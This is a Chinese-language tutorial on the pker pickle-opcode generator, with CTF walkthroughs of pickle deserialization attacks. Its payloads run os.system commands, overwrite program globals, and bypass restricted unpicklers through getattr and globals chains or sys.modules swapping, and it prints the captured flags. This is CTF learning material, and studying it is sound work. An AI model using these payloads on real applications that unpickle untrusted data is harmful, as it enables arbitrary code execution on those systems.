pker使用说明 简介
pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。
pker使用示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 GLOBAL 对应opcode:b'c' 获取module下的一个全局对象(没有import 的也可以,比如下面的os): GLOBAL('os' , 'system' ) 输入:module,instance(callable 、module都是instance) INST 对应opcode:b'i' 建立并入栈一个对象(可以执行一个函数): INST('os' , 'system' , 'ls' ) 输入:module,callable ,para OBJ 对应opcode:b'o' 建立并入栈一个对象(传入的第一个参数为callable ,可以执行一个函数)): OBJ(GLOBAL('os' , 'system' ), 'ls' ) 输入:callable ,para xxx(xx,...) 对应opcode:b'R' 使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用) li[0 ]=321 或 globals_dic['local_var' ]='hello' 对应opcode:b's' 更新列表或字典的某项的值 xx.attr=123 对应opcode:b'b' 对xx对象进行属性设置 return 对应opcode:b'0' 出栈(作为pickle.loads函数的返回值): return xxx
pker:全局变量覆盖
覆盖直接由执行文件引入的secret
模块中的name
与category
变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 secret=GLOBAL('__main__' , 'secret' ) secret.name='1' return secretb"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'1'\ndtbg0\n." opcode='''c__main__ secret (S'name' S'1' db.'''
1 2 game = GLOBAL('guess_game', 'game') game.curr_ticket = '123'
接下来会给出一些具体的基本操作的实例。
pker:函数执行
1 2 3 4 s='whoami' system = GLOBAL('os', 'system') system(s) # `b'R'`调用 return
1 INST('os', 'system', 'whoami')
1 OBJ(GLOBAL('os', 'system'), 'whoami')
1 2 INST('[module]', '[callable]'[, par0,par1...]) OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
pker:实例化对象
1 2 3 4 5 6 7 8 animal = INST('__main__', 'Animal','1','2') return animal # 或者 animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2') return animal
1 2 3 4 5 class Animal: def __init__(self, name, category): self.name = name self.category = category
1 2 3 4 animal = INST('__main__', 'Animal') animal.name='1' animal.category='2' return animal
手动辅助
拼接opcode:将第一个pickle流结尾表示结束的.
去掉,两者拼接起来即可。
建立普通的类时,可以先pickle.dumps,再拼接至payload。
CTF实战 高校战疫网络安全分享赛: webtmp 先覆盖原先secret的值,再实例化一个
直接手写opdode
1 2 3 4 5 6 7 8 9 10 11 12 opcode='''c__main__ secret (S'name' S'1' S'category' S'2' dbp0 0(c__main__ Animal S'1' S'2' o.'''
或者用pker生成
1 2 3 4 5 6 7 8 9 secret=GLOBAL('__main__' , 'secret' ) secret.name='1' secret.category='1' animal=GLOBAL('__main__' , 'Animal' ) a=OBJ(animal,'1' ,'1' ) return ab"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'1'\ndtbg0\n(}(S'category'\nS'1'\ndtbc__main__\nAnimal\np3\n0(g3\nS'1'\nS'1'\nop4\n0g4\n."
SUCTF-2019: guess_game 思路一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 t=GLOBAL('guess_game.Ticket' ,'Ticket' ) ticket=OBJ(t,1 ) game=GLOBAL('guess_game' ,'game' ) game.curr_ticket=ticket return ticketb'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Congratulations, you get the right number!\n' b'Game over! You win all the rounds, here is your flag flag{cabe5968-8143-4c45-91b7-557edab2ab4d}\n' b''
思路二
1 2 3 4 5 6 7 8 9 game = GLOBAL('guess_game' , 'game' ) game.round_count = 10 game.win_count = 10 ticket = INST('guess_game.Ticket' , 'Ticket' , 6 ) return ticketb'Wrong number, better luck next time.\n' b'Game over! You win all the rounds, here is your flag flag{cabe5968-8143-4c45-91b7-557edab2ab4d}\n' b''
Code-Breaking: picklecode 本题pickle部分源码
1 2 3 4 5 6 7 8 9 10 11 class RestrictedUnpickler (pickle.Unpickler): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
源码中限制了只能使用builtins模块,并且给了黑名单,限制了一级子模块。黑名单中没有getattr
,所以可以通过getattr
获取io
或builtins
的子模块以及子模块的子模块:),而builtins
里有eval、exec
等危险函数,即使在黑名单中,也可以通过getattr
获得。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。
1 2 3 4 5 6 7 8 9 10 getattr = GLOBAL('builtins' , 'getattr' )dict = GLOBAL('builtins' , 'dict' )dict_get = getattr (dict , 'get' ) globals = GLOBAL('builtins' , 'globals' )builtins = globals () __builtins__ = dict_get(builtins, '__builtins__' ) eval = getattr (__builtins__, 'eval' )eval ('__import__("os").system("whoami")' )return
BalsnCTF: pyshv1 1 2 3 4 5 6 class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name)
限制了模块只能为sys,并且不能包含点号,所以只能引用一级模块,但是sys模块中有modules字典对象,且modules中还包含了sys
可以先把sys.modules[‘sys’]替换为sys.modules[‘os’],这样调用就是一级模块
1 2 3 4 5 6 7 8 9 m = GLOBAL('sys' ,'modules' ) m['sys' ]=m g=GLOBAL('sys' ,'get' ) o=g('os' ) m['sys' ]=o system=GLOBAL('sys' ,'system' ) system('whoami' ) return
BalsnCTF: pyshv2